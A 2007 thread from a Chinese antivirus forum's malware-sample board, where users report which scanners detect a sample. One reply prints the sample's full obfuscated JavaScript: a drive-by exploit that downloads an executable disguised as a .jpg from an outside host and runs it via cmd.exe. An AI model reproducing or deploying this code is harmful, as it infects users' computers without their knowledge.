12
返回列表 发新帖
楼主: jimmyleo
收起左侧

[病毒样本] [c186cd]第二波

[复制链接]
微点卫士
发表于 2007-8-8 13:58:45 | 显示全部楼层
驱逐舰挂
uhthn2002
发表于 2007-8-8 19:04:52 | 显示全部楼层
vba32 miss
陈阳
发表于 2007-8-8 19:59:51 | 显示全部楼层
金山跟着挂!
remind_me
发表于 2007-8-8 20:03:14 | 显示全部楼层
这么明显不是图片啊。。。咳咳,不过加在网页里面,估计也没人仔细看

  1. var _0xd35cl0=["\x7E\x74\x6D\x70","\x2E\x65\x78\x65","\x68\x74\x74\x70\x3A","\x2F\x2F","\x62\x62\x73\x2e\x68\x6e\x70\x6a\x2e\x63\x6f\x6d\x2f\x70\x69\x63\x2f\x6c\x6f\x67\x6f\x32\x2e\x6a\x70\x67","\x6F\x62\x6A\x65\x63\x74","\x63\x6C\x61\x73\x73\x69\x64","\x63\x6C\x73\x69\x64\x3A\x42\x44\x39\x36\x43\x35\x35\x36\x2D\x36\x35\x41\x33\x2D\x31\x31\x44\x30\x2D\x39\x38\x33\x41\x2D\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36","\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65\x61\x6D","\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x2E\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x64\x6F\x63\x75\x6D\x65\x6E\x74","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58","\x4D","\x4C","\x48","\x54","\x50","","\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74","\x74\x79\x70\x65","\x47\x45\x54","\x4F\x70\x65\x6E","\x53\x65\x6E\x64","\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6C\x46\x6F\x6C\x64\x65\x72","\x42\x75\x69\x6C\x64\x50\x61\x74\x68","\x6F\x70\x65\x6E","\x57\x72\x69\x74\x65","\x53\x61\x76\x65\x54\x6F\x46\x69\x6C\x65","\x43\x6C\x6F\x73\x65","\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E","\x5C\x73\x79\x73\x74\x65\x6D\x33\x32","\x63\x6D\x64\x2E\x65\x78\x65","\x20\x2F\x63\x20","\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65"];function _0xd35cl1(_0xd35cl2){var _0xd35cl3=Math.random()*_0xd35cl2;return _0xd35cl0[0x0]+Math.round(_0xd35cl3)+_0xd35cl0[0x1];} ;try{var _0xd35cl4=_0xd35cl0[0x2];mm2=_0xd35cl0[0x3];mm3=_0xd35cl0[0x4];dl=_0xd35cl4+mm2+mm3;a1=_0xd35cl0[0x5];a2=_0xd35cl0[0x6];a3=_0xd35cl0[0x7];a4=_0xd35cl0[0x8];fuck=_0xd35cl0[0x9];df=(window[_0xd35cl0[0xb]][_0xd35cl0[0xa]](a1));df[_0xd35cl0[0xc]](a2,a3);var _0xd35cl5=df[_0xd35cl0[0x14]](_0xd35cl0[0xd]+_0xd35cl0[0xe]+_0xd35cl0[0xf]+_0xd35cl0[0x10]+_0xd35cl0[0x11]+_0xd35cl0[0x11]+_0xd35cl0[0x12],_0xd35cl0[0x13]);var _0xd35cl6=df[_0xd35cl0[0x14]](a4,_0xd35cl0[0x13]);_0xd35cl6[_0xd35cl0[0x15]]=0x1;_0xd35cl5[_0xd35cl0[0x17]](_0xd35cl0[0x16],dl,0x0);_0xd35cl5[_0xd35cl0[0x18]]();fname1=_0xd35cl1(0x2710);var _0xd35cl7=df[_0xd35cl0[0x14]](fuck,_0xd35cl0[0x13]);var _0xd35cl8=_0xd35cl7[_0xd35cl0[0x19]](0x0);fname1=_0xd35cl7[_0xd35cl0[0x1a]](_0xd35cl8,fname1);_0xd35cl6[_0xd35cl0[0x1b]]();_0xd35cl6[_0xd35cl0[0x1c]](_0xd35cl5.responseBody);_0xd35cl6[_0xd35cl0[0x1d]](fname1,0x2);_0xd35cl6[_0xd35cl0[0x1e]]();var _0xd35cl9=df[_0xd35cl0[0x14]](_0xd35cl0[0x1f],_0xd35cl0[0x13]);exp1=_0xd35cl7[_0xd35cl0[0x1a]](_0xd35cl8+_0xd35cl0[0x20],_0xd35cl0[0x21]);_0xd35cl9[_0xd35cl0[0x23]](exp1,_0xd35cl0[0x22]+fname1,_0xd35cl0[0x13],open,0x0);} catch(i){i=0x1;}
复制代码
harrystopet
发表于 2007-8-8 23:23:20 | 显示全部楼层
RS现在已经杀掉了
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-15 02:59 , Processed in 0.087783 second(s), 15 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表